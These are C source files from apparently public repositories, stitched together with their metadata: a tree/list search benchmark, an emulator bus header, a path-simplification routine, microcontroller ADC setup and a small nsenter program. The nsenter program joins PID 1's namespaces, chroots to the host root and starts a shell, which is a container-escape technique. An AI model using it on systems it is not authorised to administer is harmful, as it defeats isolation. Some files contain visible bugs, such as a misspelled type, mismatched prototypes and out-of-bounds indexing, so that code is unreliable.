if(item < t -> value)
{
t -> left = add_tree(t -> left, item);
}
else
{
t -> right = add_tree(t -> right, item);
}
return t;
}
int searchTree(TREE t, LLI value[], int i, LLI *number_of_comparisons)
{
if(t == NULL) return -1;
(*number_of_comparisons)+=1;
if(t->value == value[i])
{
return *number_of_comparisons;
}
else
{
if(value[i] < t -> value)
{
// (*number_of_comparisons)+=1;
return searchTree(t -> left, value,i+1,number_of_comparisons);
}
else
{
// (*number_of_comparisons)+=1;
return searchTree(t -> right, value,i+1,number_of_comparisons);
}
}
}
int searchList(LIST list, LLI item[],LLI i, LLI *number_of_comparisons_list)
{
while (list != NULL)
{
(*number_of_comparisons_list) += 1;
if(list -> item == item[i])
{
return *number_of_comparisons_list;
}
list = list -> next;
}
}
LIST add_numbers_to_the_list(LIST list,LLI size)
{
int i;
for (i = 0; i < size; i++)
{
list = add_list(list,i);
}
return list;
}
TREE add_numbers_to_the_tree(TREE tree, LLI size)
{
int i;
for (i = 0; i < size; i++)
{
tree = add_tree(tree,i);
}
return tree;
}
void generate_random(LLI size, LLI random_numbers[])
{
srand((unsigned) time(NULL));
int i;
for (i = 0; i < size; i++)
{
random_numbers[i] = rand() % size;
}
}
void order_abb_numbers(LLI size, LLI numbers[])
{
LLI i,j;
LLI aux;
for (i = 0; i < size; i++)
{
for (j = 0; j < size - 1; j++)
{
if(numbers[j] > numbers[j + 1])
{
aux = numbers[j];
numbers[j] = numbers[j+1];
numbers[j+1] = aux;
}
}
}
}
void order_list_numbers(LLI size, LLI numbers[])
{
LLI i,j;
LLI aux;
for (i = 0; i < size; i++)
{
for (j = 0; j < size - 1; j++)
{
if(numbers[j] > numbers[j + 1])
{
aux = numbers[j];
numbers[j] = numbers[j+1];
numbers[j+1] = aux;
}
}
}
}
int main()
{
LLI size,i, number, quantity, quantity_comparations;
LLI comparations_list = 0;
LLI comparations_abb = 0;
printf("Enter the quantity of the elements to be inserted: \n");
scanf("%lld",&size);
LIST list = create_empty_list();
TREE tree = create_empty_tree();
FILE *listArchive = fopen("listaArchive.csv","w");
FILE *treeArchive = fopen("treeArchive.csv","w");
fprintf(listArchive,"size,list_c\n");
fprintf(treeArchive,"size,abb\n");
printf("Add numbers to the list e abb\n");
list = add_numbers_to_the_list(list, size);
tree = add_numbers_to_the_tree(tree, size);
LLI random_numbers[size];
printf("Searching the numbers\n");
generate_random(size,random_numbers);
LLI sort_abb[size], sort_list[size];
for (i = 1; i <= size; i++)
{
searchList(list, random_numbers,i, &comparations_list);
searchTree(tree, random_numbers, i, &comparations_abb);
sort_list[i] = comparations_list;
sort_abb[i] = comparations_abb;
comparations_list = 0;
comparations_abb = 0;
}
order_abb_numbers(size, sort_abb);
order_list_numbers(size, sort_list);
for (i = 0; i < size - 1; i++)
{
fprintf(listArchive,"%lld,%lld\n",i, sort_list[i]);
fprintf(treeArchive, "%lli,%lli\n",i, sort_abb[i]);
}
fclose(listArchive);
fclose(treeArchive);
return 0;
}
| 3.109375 | 3 |
2024-11-18T20:50:26.414026+00:00 | 2019-12-03T15:58:36 | a0e8f8ff3fb0b81a08eb4e81566497924f318c67 | {
"blob_id": "a0e8f8ff3fb0b81a08eb4e81566497924f318c67",
"branch_name": "refs/heads/master",
"committer_date": "2019-12-03T15:58:36",
"content_id": "35decc8ff5d8e2f2ea524f47f4b9f839aa1660b7",
"detected_licenses": [
"ISC"
],
"directory_id": "c03647665051607db1b1b1d213f35ef78626f0c8",
"extension": "h",
"filename": "bus.h",
"fork_events_count": 0,
"gha_created_at": "2019-12-04T00:05:56",
"gha_event_created_at": "2019-12-04T00:05:57",
"gha_language": null,
"gha_license_id": "ISC",
"github_id": 225741285,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3621,
"license": "ISC",
"license_type": "permissive",
"path": "/src/libps/include/bus.h",
"provenance": "stackv2-0118.json.gz:40081",
"repo_name": "snickerbockers/ps",
"revision_date": "2019-12-03T15:58:36",
"revision_id": "b3f61fbabae0e17e7bafb9ac8d70dc8e82520981",
"snapshot_id": "06c3836564ced1f0b218f4c945da08232505c47f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/snickerbockers/ps/b3f61fbabae0e17e7bafb9ac8d70dc8e82520981/src/libps/include/bus.h",
"visit_date": "2020-09-24T10:38:25.588968"
} | stackv2 | // Copyright 2019 Michael Rodriguez
//
// Permission to use, copy, modify, and/or distribute this software for any
// purpose with or without fee is hereby granted, provided that the above
// copyright notice and this permission notice appear in all copies.
//
// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
// SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
// OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
// CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#pragma once
#ifdef __cplusplus
extern "C"
{
#endif // __cplusplus
#include <stdint.h>
struct libps_gpu;
struct libps_dma_channel
{
// Base address
uint32_t madr;
// Block Control
uint32_t bcr;
// Channel Control
uint32_t chcr;
};
struct libps_bus
{
// Main RAM (first 64K reserved for BIOS)
uint8_t* ram;
uint8_t scratch_pad[4096];
// 0x1F801070 - I_STAT - Interrupt status register
// (R=Status, W=Acknowledge)
uint32_t i_stat;
// 0x1F801074 - I_MASK - Interrupt mask register (R/W)
uint32_t i_mask;
// 0x1F8010F0 - DMA Control Register (R/W)
uint32_t dpcr;
// 0x1F8010F4 - DMA Interrupt Register (R/W)
uint32_t dicr;
// GPU instance
struct libps_gpu* gpu;
// DMA channel 2 - GPU (lists + image data)
struct libps_dma_channel dma_gpu_channel;
// DMA channel 6 - OTC (reverse clear OT)
struct libps_dma_channel dma_otc_channel;
};
// Allocates memory for a `libps_bus` structure and returns a pointer to it if
// memory allocation was successful, or `NULL` otherwise. This function should
// not be called anywhere other than `libps_system_create()`.
//
// `bios_data_ptr` should be a pointer to BIOS data, passed by
// `libps_system_create()`.
struct libps_bus* libps_bus_create(uint8_t* const bios_data_ptr);
// Deallocates memory held by `bus`. This function should not be called
// anywhere other than `libps_system_destroy()`.
void libps_bus_destroy(struct libps_bus* bus);
// Resets the system bus, which resets the peripherals to their startup state.
void libps_bus_reset(struct libps_bus* bus);
// Handles DMA requests.
void libps_bus_step(struct libps_bus* bus);
// Returns a word from memory referenced by physical address `paddr`.
uint32_t libps_bus_load_word(struct libps_bus* bus, const uint32_t paddr);
// Returns a halfword from memory referenced by physical address `paddr`.
uint16_t libps_bus_load_halfword(struct libps_bus* bus, const uint32_t paddr);
// Returns a byte from memory referenced by physical address `paddr`.
uint8_t libps_bus_load_byte(struct libps_bus* bus, const uint32_t paddr);
// Stores word `data` into memory referenced by phsyical address `paddr`.
void libps_bus_store_word(struct libps_bus* bus,
const uint32_t paddr,
const uint32_t data);
// Stores halfword `data` into memory referenced by phsyical address `paddr`.
void libps_bus_store_halfword(struct libps_bus* bus,
const uint32_t paddr,
const uint16_t data);
// Stores byte `data` into memory referenced by phsyical address `paddr`.
void libps_bus_store_byte(struct libps_bus* bus,
const uint32_t paddr,
const uint8_t data);
#ifdef __cplusplus
}
#endif // __cplusplus
| 2.21875 | 2 |
2024-11-18T20:50:26.670308+00:00 | 2015-09-05T07:10:08 | 76ee4c36ccb8b961210cd77bb003e8030e7074a4 | {
"blob_id": "76ee4c36ccb8b961210cd77bb003e8030e7074a4",
"branch_name": "refs/heads/master",
"committer_date": "2015-09-05T07:10:08",
"content_id": "941b09e69bc22a3db26a5a70455dd731baba543a",
"detected_licenses": [
"MIT"
],
"directory_id": "e461068dfadf57198b9786720078021f30ac07dd",
"extension": "c",
"filename": "PathCompacter.c",
"fork_events_count": 1,
"gha_created_at": "2015-08-31T04:30:00",
"gha_event_created_at": "2015-09-04T01:00:11",
"gha_language": "C",
"gha_license_id": null,
"github_id": 41655829,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 12905,
"license": "MIT",
"license_type": "permissive",
"path": "/PathCompacter.c",
"provenance": "stackv2-0118.json.gz:40467",
"repo_name": "mikebolt/PathCompacter",
"revision_date": "2015-09-05T07:10:08",
"revision_id": "538f95b617f9114a106dbb6bd3f64980c0937ff3",
"snapshot_id": "769e5f9db447645ecd6dfe647ba34efc7254c3a4",
"src_encoding": "UTF-8",
"star_events_count": 13,
"url": "https://raw.githubusercontent.com/mikebolt/PathCompacter/538f95b617f9114a106dbb6bd3f64980c0937ff3/PathCompacter.c",
"visit_date": "2021-01-01T05:59:30.893382"
} | stackv2 | /*
PathCompacter.c
08/29/2015
Authors: Michael Casebolt, Brett Casebolt
*/
/*
The MIT License (MIT)
Copyright (c) 2015 Michael Casebolt and Brett Casebolt
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This file uses lines up to 100 characters long. If this 100 character line fits then you're good.
#include "PathCompacter.h"
#include <stdlib.h> // For memory management
#include <errno.h> // For the errno global and checking ENOMEM
#include <string.h> // For memmove and memcpy
#include <math.h> // For sqrt and fabs
// These are out of order for the purposes of struct packing.
typedef struct CompactPathSubproblemCall
{
DVector2D *pPointArray;
DVector2D *pResultPointArray;
int uPointsInCurrentPath;
} CompactPathSubproblemCall;
typedef enum CompactPathResultCode
{
COMPACT_PATH_RESULT_CODE_DIVIDE,
COMPACT_PATH_RESULT_CODE_LINEARIZE,
COMPACT_PATH_RESULT_CODE_SOLVED
} CompactPathResultCode;
#define FAILURE 0
#define SUCCESS 1
static CompactPathResultCode compactPathSubproblemSolver(DVector2D *pPointArray,
unsigned int uPointsInCurrentPath, DVector2D *pResultPointArray,
unsigneed int *puPointsInResultPath, int *piDivisionIndex, double dEpsilon,
DeviationMetric deviationMetric);
// The call stack will start able to hold this many calls and grow by this amount whenever it needs
// to grow in size.
#define COMPACT_PATH_CALL_STACK_UNIT 2048
// callStackBase is a double pointer because realloc might move the base pointer.
static int compactPathCallStackPush(CompactPathSubproblemCall **ppCallStackBase,
int *piCallStackCapacity, int *piNumCallsInStack,
CompactPathSubproblemCall *pCall)
{
// Check if the stack is full.
if (*piNumCallsInStack >= *piCallStackCapacity)
{
// Grow the stack by a unit.
*piCallStackCapacity += COMPACT_PATH_CALL_STACK_UNIT;
*ppCallStackBase = realloc(*ppCallStackBase,
sizeof(CompactPathSubproblemCall) * *piCallStackCapacity);
if (errno || *ppCallStackBase == NULL)
{
// The stack can't grow.
return FAILURE;
}
}
// Add the new call
(*ppCallStackBase)[*piNumCallsInStack] = *pCall;
++(*piNumCallsInStack);
return SUCCESS;
}
static int compactPathCallStackPop(CompactPathSubproblemCall *pCallStackBase,
int *piNumCallsInStack, CompactPathSubproblemCall *pPoppedCall)
{
// Check if there is a call to pop.
if (*piNumCallsInStack > 0)
{
--(*piNumCallsInStack);
*pPoppedCall = pCallStackBase[*piNumCallsInStack];
return SUCCESS;
}
else
{
// There are no calls to pop.
return FAILURE;
}
}
// This is the cleanup macro for the CompactPath function.
// Free the only allocated memory and return the parameter
// as the return value.
#define COMPACT_PATH_RETURN(iReturnValue)\
{\
free(pCallStackBase);\
return iReturnValue;\
}
// This function iteratively simulates the recursive Ramer-Douglas-Peucker algorithm.
// https://en.wikipedia.org/wiki/Ramer%E2%80%93Douglas%E2%80%93Peucker_algorithm
// Please allocate the resultPointArray to be as large as the pointArray passed in.
// It would be a good idea to resize the allocated space for resultPointArray after this
// function returns using the value of pointsInResultPath.
// This algorithm works in-place. That is, you can use the same array for both pointArray
// and resultPointArray, keeping in mind that doing so will likely alter pointArray.
// Returns a true value (1) on successful completion, and returns a false value (0) otherwise.
// On failure, pointsInResultPath and the contents of resultPointArray are undefined.
int compactPath(DVector2D *pPointArray, unsigned int uPointsInCurrentPath,
DVector2D *pResultPointArray, unsigned int *puPointsInResultPath,
double dEpsilon, DeviationMetric deviationMetric)
{
CompactPathSubproblemCall current, firstSubproblem, secondSubproblem;
int iDivisionIndex; // Where should we split the problem into subproblems?
CompactPathResultCode subproblemResultCode; // The status of the most recent subproblem call
int iNumSolvedPoints; // Keep track of how much of the result array is solved and in place.
int uPointsInResultPath; // Number of valid points in the result array after a subproblem call
int iCallStackCapacity; // How many calls can the call stack hold right now?
int iNumCallsInStack; // How many calls are in the call stack right now?
// Clear errno so that we can be sure that a nonzero value is caused by this function.
errno = 0;
// Copy the first point into the result. This can be done because its final location is
// known (it will still be the first point), and it will certainly be in the final array
// (it can never be removed).
// The compacter skips copying the first point of each subproblem because it is added as the
// last point of the subproblem before it. Copying the very first point is necessary
// because the leftmost subproblem has no prior subproblem.
*pResultPointArray = *pPointArray;
iNumSolvedPoints = 1;
// Allocate a call stack.
iCallStackCapacity = COMPACT_PATH_CALL_STACK_UNIT;
iNumCallsInStack = 0;
CompactPathSubproblemCall *pCallStackBase = (CompactPathSubproblemCall *)
malloc(sizeof(CompactPathSubproblemCall) * COMPACT_PATH_CALL_STACK_UNIT);
if (errno || pCallStackBase == NULL)
{
COMPACT_PATH_RETURN(FAILURE);
}
// Set up the first instance of the problem, representing the whole problem.
current.pPointArray = pPointArray;
current.pResultPointArray = pResultPointArray;
current.uPointsInCurrentPath = uPointsInCurrentPath;
// Add the first instance to the stack
if (!compactPathCallStackPush(&pCallStackBase, &iCallStackCapacity, &iNumCallsInStack, ¤t))
{
COMPACT_PATH_RETURN(FAILURE);
}
// As long as there are calls on the stack, pop one and process it.
while (iNumCallsInStack > 0)
{
if (!compactPathCallStackPop(pCallStackBase, &iNumCallsInStack, ¤t))
{
COMPACT_PATH_RETURN(FAILURE);
}
subproblemResultCode = compactPathSubproblemSolver(current.pPointArray,
current.uPointsInCurrentPath, current.pResultPointArray, &uPointsInResultPath,
&iDivisionIndex, dEpsilon, deviationMetric);
if (subproblemResultCode == COMPACT_PATH_RESULT_CODE_DIVIDE)
{
if (iDivisionIndex <= 0 || iDivisionIndex >= current.uPointsInCurrentPath)
{
COMPACT_PATH_RETURN(FAILURE);
}
else
{
// Create two new subproblems and push them.
// It's important that the way that results are copied is compatible with the order in
// which the subproblem calls are pushed to the stack.
// This function is left-recursive. It performs left-side subproblems before
// right-side subproblems. This means that the left-side subproblem needs to be
// pushed to the stack last, so that it is popped back out first.
secondSubproblem.pPointArray = current.pPointArray + iDivisionIndex;
secondSubproblem.pResultPointArray = current.pResultPointArray + iDivisionIndex;
secondSubproblem.uPointsInCurrentPath = current.uPointsInCurrentPath - iDivisionIndex;
if (!compactPathCallStackPush(&pCallStackBase, &iCallStackCapacity,
&iNumCallsInStack, &secondSubproblem))
{
COMPACT_PATH_RETURN(FAILURE);
}
firstSubproblem.pPointArray = current.pPointArray;
firstSubproblem.pResultPointArray = current.pResultPointArray;
firstSubproblem.uPointsInCurrentPath = iDivisionIndex + 1;
if (!compactPathCallStackPush(&pCallStackBase, &iCallStackCapacity,
&iNumCallsInStack, &firstSubproblem))
{
COMPACT_PATH_RETURN(FAILURE);
}
}
}
else if (subproblemResultCode == COMPACT_PATH_RESULT_CODE_LINEARIZE ||
subproblemResultCode == COMPACT_PATH_RESULT_CODE_SOLVED)
{
// Copy the results to their final destination in the result array.
// Always skip copying the first point.
++current.pResultPointArray;
--uPointsInResultPath;
// There's a good chance that the memory regions will overlap at some point.
memmove(pResultPointArray + iNumSolvedPoints, current.pResultPointArray,
sizeof(DVector2D) * uPointsInResultPath);
iNumSolvedPoints += uPointsInResultPath;
}
else
{
// Bad result code.
COMPACT_PATH_RETURN(FAILURE);
}
}
*puPointsInResultPath = iNumSolvedPoints;
COMPACT_PATH_RETURN(SUCCESS);
}
// If the result is COMPACT_PATH_RESULT_CODE_DIVIDE, it means that the algorithm needs to divide
// the problem into two smaller subproblems. In this case, divisionIndex is set to the
// index of the point that should be the end point of the first subproblem and the start point
// of the second subproblem. pointsInCurrentPath is not set, because its value is not yet known.
// If the result is COMPACT_PATH_RESULT_CODE_LINEARIZE, it means that all the intermediate points in
// the subproblem were removed. In this case, divisionIndex is not set.
// If the result is COMPACT_PATH_RESULT_CODE_SOLVED, it means that the algorithm does not need to
// do any further work on the subproblem, because it is already solved. In this case, divisionIndex
// is not set.
static CompactPathResultCode compactPathSubproblemSolver(DVector2D *pPointArray,
int uPointsInCurrentPath, DVector2D *pResultPointArray,
int *puPointsInResultPath, int *piDivisionIndex, double dEpsilon,
DeviationMetric deviationMetric)
{
double dSquareSegLen, dSquareDeviation, dMaxSquareDeviationInThisSegment, dDX, dDY;
int i, iMaxPointIndex;
// If there are fewer than three points provided, the problem is solved already.
if (uPointsInCurrentPath < 3)
{
// Just copy pointArray into resultPointArray.
if (uPointsInCurrentPath > 0)
{
memcpy(pResultPointArray, pPointArray, sizeof(DVector2D) * uPointsInCurrentPath);
}
*puPointsInResultPath = uPointsInCurrentPath;
return COMPACT_PATH_RESULT_CODE_SOLVED;
}
dMaxSquareDeviationInThisSegment = 0.0;
dDX = pPointArray[uPointsInCurrentPath - 1].dX - pPointArray[0].dX;
dDY = pPointArray[uPointsInCurrentPath - 1].dY - pPointArray[0].dY;
dSquareSegLen = dDX * dDX + dDY * dDY;
for (i = 1; i < uPointsInCurrentPath - 1; ++i)
{
dSquareDeviation = deviationMetric(pPointArray[0],
pPointArray[uPointsInCurrentPath - 1], pPointArray[i], dSquareSegLen);
if (dSquareDeviation > dMaxSquareDeviationInThisSegment)
{
iMaxPointIndex = i;
dMaxSquareDeviationInThisSegment = dSquareDeviation;
}
}
if (dMaxSquareDeviationInThisSegment < dEpsilon * dEpsilon)
{
// Linearize the points in the subproblem.
// To do this, we just copy the first and last points to the result array.
pResultPointArray[0] = pPointArray[0];
pResultPointArray[1] = pPointArray[uPointsInCurrentPath - 1];
*puPointsInResultPath = 2;
return COMPACT_PATH_RESULT_CODE_LINEARIZE;
}
else
{
// Split the subproblem.
*piDivisionIndex = iMaxPointIndex;
return COMPACT_PATH_RESULT_CODE_DIVIDE;
}
}
| 2.265625 | 2 |
2024-11-18T20:50:29.560615+00:00 | 2017-10-24T11:39:23 | 68bfa66f0fce71246021b49c6ee0daa499cd945b | {
"blob_id": "68bfa66f0fce71246021b49c6ee0daa499cd945b",
"branch_name": "refs/heads/master",
"committer_date": "2017-10-24T11:39:23",
"content_id": "e043a3edebf30d5a06d59d964916e8a12122ca51",
"detected_licenses": [
"MIT"
],
"directory_id": "38f33b8c5a4fdee3190492770bb1a3d2886dcb84",
"extension": "c",
"filename": "ADC10.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 64771385,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5461,
"license": "MIT",
"license_type": "permissive",
"path": "/General codes/ADC10.c",
"provenance": "stackv2-0118.json.gz:41498",
"repo_name": "aobotelho/MSP430_Projects",
"revision_date": "2017-10-24T11:39:23",
"revision_id": "b319f3a46d9e3a1c9607a9ff3764c9eca4d29acb",
"snapshot_id": "4c734d78e61e51ed2d73898a43658d252a8872a4",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/aobotelho/MSP430_Projects/b319f3a46d9e3a1c9607a9ff3764c9eca4d29acb/General codes/ADC10.c",
"visit_date": "2020-05-20T18:17:20.198028"
} | stackv2 | #include "ADC10.h"
void ADCInit(void){
//******************************************************
// ADC10CTL0,: see page 553 of MSP430x2xx Family User's Guide (http://www.ti.com/lit/ug/slau144j/slau144j.pdf) for more information
// - SREF_ : Voltage Reference
// + SREF_0: VR+ = AVCC and VR- = AVSS
// + SREF_1: VR+ = VREF+ and VR- = AVSS
// + SREF_2: VR+ = VEREF+ and VR- = AVSS
// + SREF_3: VR+ = VEREF+ and VR- = AVSS
// + SREF_4: VR+ = AVCC and VR- = VREF-/VEREF-
// + SREF_5: VR+ = VREF+ and VR- = VREF-/VEREF-
// + SREF_6: VR+ = VEREF+ and VR- = VREF-/VEREF-
// + SREF_7: VR+ = VEREF+ and VR- = VREF-/VEREF-
// - ADC10SHT_ : ADC10 sample-and-hold time
// + ADC10SHT_0: 4 x ADC10CLKs
// + ADC10SHT_1: 8 x ADC10CLKs
// + ADC10SHT_2: 16 x ADC10CLKs
// + ADC10SHT_3: 64 x ADC10CLKs
// - ADC10SR: ADC10 Sampling Rate
// + If set: Reference buffer supports up to ~50kbps
// + If not set: Reference buffer supports up to ~200kbps
// - REFOUT: Enable reference output
// - REFBURST: Reference Burst
// + If set: Reference buffer on only during sample-and-conversion
// + If not set: Reference buffer on continuously
// - MSC: Multiple sample and conversion. (Valid only for sequence or repeated modes)
// + If set: The sampling requires a rising edge of the SHI signal to trigger each sample-and-conversion.
// + If not set: The first rising edge of the SHI signal triggers the sampling timer, but further sample-andconversions are
// performed automatically as soon as the prior conversion is completed
// - REF2_5V: Reference-generator voltage. (REFON must also be set)
// + If set: 2.5 V
// + If not set: 1.5 V
// - REFON: Reference generator on
// + If set: Reference on
// + If not set: Reference off
// - ADC10ON: ADC10 on
// + If set: ADC10 on
// + If not set: ADC10 off
// - ADC10IE: ADC10 interrupt enable
// + If set: Interrupt enabled
// + If not set: Interrupt disabled
// - ADC10IFG: ADC10 interrupt flag
// - ENC: Enable conversion
// - ADC10SC: Start sample-and-conversion
//******************************************************
ADC10CTL0 = SREF_0 | ADC10SHT_0 | ADC10ON;
//******************************************************
// ADC10CTL1:see page 555 of MSP430x2xx Family User's Guide (http://www.ti.com/lit/ug/slau144j/slau144j.pdf) for more information
// - INCH_ : Input channel select. (See device specific data sheet)
// + INCH_0: A0
// + INCH_1: A1
// + INCH_2: A2
// + INCH_3: A3
// + INCH_4: A4
// + INCH_5: A5
// + INCH_6: A6
// + INCH_7: A7
// - SHS_ : Sample-and-hold source select.
// + SHS_0: ADC10SC bit
// + SHS_1: TIMER_A.OUT1
// + SHS_2: TIMER_A.OUT2
// - ADC10DF : ADC10 data format
// + If set: 2's complement
// + If not set: Straight binary
// - ISSH: Invert signal sample-and-hold
// + If set: The sample-input signal is inverted.
// + If not set: The sample-input signal is not inverted.
// - ADC10DIV_: ADC10 clock divider
// + ADC10DIV_0: /1
// + ADC10DIV_1: /2
// + ADC10DIV_2: /3
// + ADC10DIV_3: /4
// + ADC10DIV_4: /5
// + ADC10DIV_5: /6
// + ADC10DIV_6: /7
// + ADC10DIV_7: /8
// - ADC10SSEL_: Clock Source
// + ADC10SSEL_0: ADC10OSC
// + ADC10SSEL_1: ACLK
// + ADC10SSEL_2: MCLK
// + ADC10SSEL_3: SMCLK
// - CONSEQ_: Conversion mode select
// + CONSEQ_0: Single channel single conversion
// + CONSEQ_1: Sequence of channels
// + CONSEQ_2: Repeat single channel
// + CONSEQ_3: Repeat sequence of channels
// - ADC10BUSY: ADC10 busy. This bit indicates an active sample or conversion operation
//******************************************************
ADC10CTL1 = INCH_2 | SHS_0 | ADC10DIV_0 | ADC10SSEL_3 | CONSEQ_1;
//******************************************************
// ADC10AE0:see page 556 of MSP430x2xx Family User's Guide (http://www.ti.com/lit/ug/slau144j/slau144j.pdf) for more information
// - ADC10AE0 : ADC10 analog enable. These bits enable the corresponding pin for analog input. BIT0 corresponds to A0, BIT1 corresponds to A1, etc.
//******************************************************
ADC10AE0 = BIT0 | BIT1 | BIT2 ;
//******************************************************
// ADC10DTC1:Data Transfer Control Register 1
// - DTC transfers. These bits define the number of transfers in each block.
// + 01h-0FFh - Number of transfers per block
//******************************************************
ADC10DTC1 = 0x03;
//******************************************************
// ADC10MEM : The 10-bit conversion results
// - If in binary: The 10-bit conversion results are right justified, straight-binary format. Bit 9 is the MSB. Bits 15-10 are always 0.
// - If in 2's complement: The 10-bit conversion results are left-justified, 2s complement format. Bit 15 is the MSB. Bits 5-0 are always 0.
//******************************************************
ADC10MEM; // Read only
//******************************************************
// ADC10SA: Start Address Register for Data Transfer
// - ADC10 start address. These bits are the start address for the DTC. A write to register ADC10SA is required to initiate DTC transfers.
//******************************************************
ADC10SA = 0x200;
}
| 2.171875 | 2 |
2024-11-18T20:50:29.720017+00:00 | 2020-07-12T03:16:00 | 090c1abc4555542cfe24f7f288032617eb16b4f5 | {
"blob_id": "090c1abc4555542cfe24f7f288032617eb16b4f5",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-12T03:16:00",
"content_id": "e076fdd53020a3ad4c753deafb55c854dbe39816",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "2ef28f243d119361997eba9e24b293ba1c84aa8c",
"extension": "c",
"filename": "nsenter1-small.c",
"fork_events_count": 0,
"gha_created_at": "2019-04-27T01:47:23",
"gha_event_created_at": "2020-07-11T15:14:16",
"gha_language": "Shell",
"gha_license_id": "Apache-2.0",
"github_id": 183715608,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1688,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/nsenter/nsenter-small/nsenter1-small.c",
"provenance": "stackv2-0118.json.gz:41755",
"repo_name": "andydude/dockerfiles",
"revision_date": "2020-07-12T03:16:00",
"revision_id": "a2c13ccacb312ded492f07c20264496d7fd7afd9",
"snapshot_id": "f9075d04e35e06e42a293cdfc3506eea36af45ea",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/andydude/dockerfiles/a2c13ccacb312ded492f07c20264496d7fd7afd9/nsenter/nsenter-small/nsenter1-small.c",
"visit_date": "2021-07-14T05:50:25.610794"
} | stackv2 | #include <syscall.h>
static __inline long
__syscall0 (long n)
{
unsigned long ret;
__asm__ __volatile__ (
"syscall"
:"=a" (ret)
:"a" (n)
:"rcx", "r11", "memory");
return ret;
}
static __inline long
__syscall1 (long n, long a1)
{
unsigned long ret;
__asm__ __volatile__ (
"syscall"
:"=a" (ret)
:"a" (n), "D" (a1)
:"rcx", "r11", "memory");
return ret;
}
static __inline long
__syscall2 (long n, long a1, long a2)
{
unsigned long ret;
__asm__ __volatile__ (
"syscall"
:"=a" (ret)
:"a" (n), "D" (a1), "S" (a2)
:"rcx", "r11", "memory");
return ret;
}
static __inline long
__syscall3 (long n, long a1, long a2, long a3)
{
unsigned long ret;
__asm__ __volatile__ (
"syscall"
:"=a" (ret)
:"a" (n), "D" (a1),
"S" (a2), "d" (a3)
:"rcx", "r11", "memory");
return ret;
}
#define NULL ((void *)0)
#define open(pn, flags) \
__syscall2(SYS_open, (long)pn, flags)
#define setns(fd, nstype) \
__syscall2(SYS_setns, fd, nstype)
#define fchdir(fd) \
__syscall1(SYS_fchdir, fd)
#define chroot(pn) \
__syscall1(SYS_chroot, (long)pn)
#define exit(ec) \
__syscall1(SYS_exit, ec)
#define execve(path, argv, environ) \
__syscall3(SYS_execve, (long)path, (long)argv, (long)environ)
//extern char **__environ;
int
_start ()
{
char *cargv0 = "/bin/sh";
char *cargv[] = { cargv0, NULL };
setns (open ("/proc/1/ns/mnt", 0), 0);
setns (open ("/proc/1/ns/uts", 0), 0);
setns (open ("/proc/1/ns/net", 0), 0);
setns (open ("/proc/1/ns/ipc", 0), 0);
fchdir (open ("/proc/1/root", 0));
chroot (".");
execve (cargv[0], cargv, NULL);
exit (0);
}
| 2.375 | 2 |
2024-11-18T20:50:30.480567+00:00 | 2019-10-14T11:19:46 | 08556d21ea094b4db1be85ed69f8edd40e7f6ed5 | {
"blob_id": "08556d21ea094b4db1be85ed69f8edd40e7f6ed5",
"branch_name": "refs/heads/master",
"committer_date": "2019-10-14T11:19:46",
"content_id": "bbaac7b05cf7faa2890585532761fc040e37f11c",
"detected_licenses": [
"BSD-4-Clause-UC"
],
"directory_id": "7ab8d084803c371cf87b796e25d8102177b35a6f",
"extension": "c",
"filename": "syscall.c",
"fork_events_count": 8,
"gha_created_at": "2019-04-08T09:31:14",
"gha_event_created_at": "2019-10-14T11:19:47",
"gha_language": "C",
"gha_license_id": null,
"github_id": 180115834,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2142,
"license": "BSD-4-Clause-UC",
"license_type": "permissive",
"path": "/solutions/raz/lab3/kern/syscall.c",
"provenance": "stackv2-0118.json.gz:43298",
"repo_name": "OSLL/os-hse-1h2019",
"revision_date": "2019-10-14T11:19:46",
"revision_id": "8f50f40ea44d90a705b24df0056f039eedcdd653",
"snapshot_id": "8c89612406d5b54dc00135caf56fab3a9e7fa4ae",
"src_encoding": "UTF-8",
"star_events_count": 41,
"url": "https://raw.githubusercontent.com/OSLL/os-hse-1h2019/8f50f40ea44d90a705b24df0056f039eedcdd653/solutions/raz/lab3/kern/syscall.c",
"visit_date": "2020-05-06T12:18:37.700966"
} | stackv2 | /* See COPYRIGHT for copyright information. */
#include <inc/x86.h>
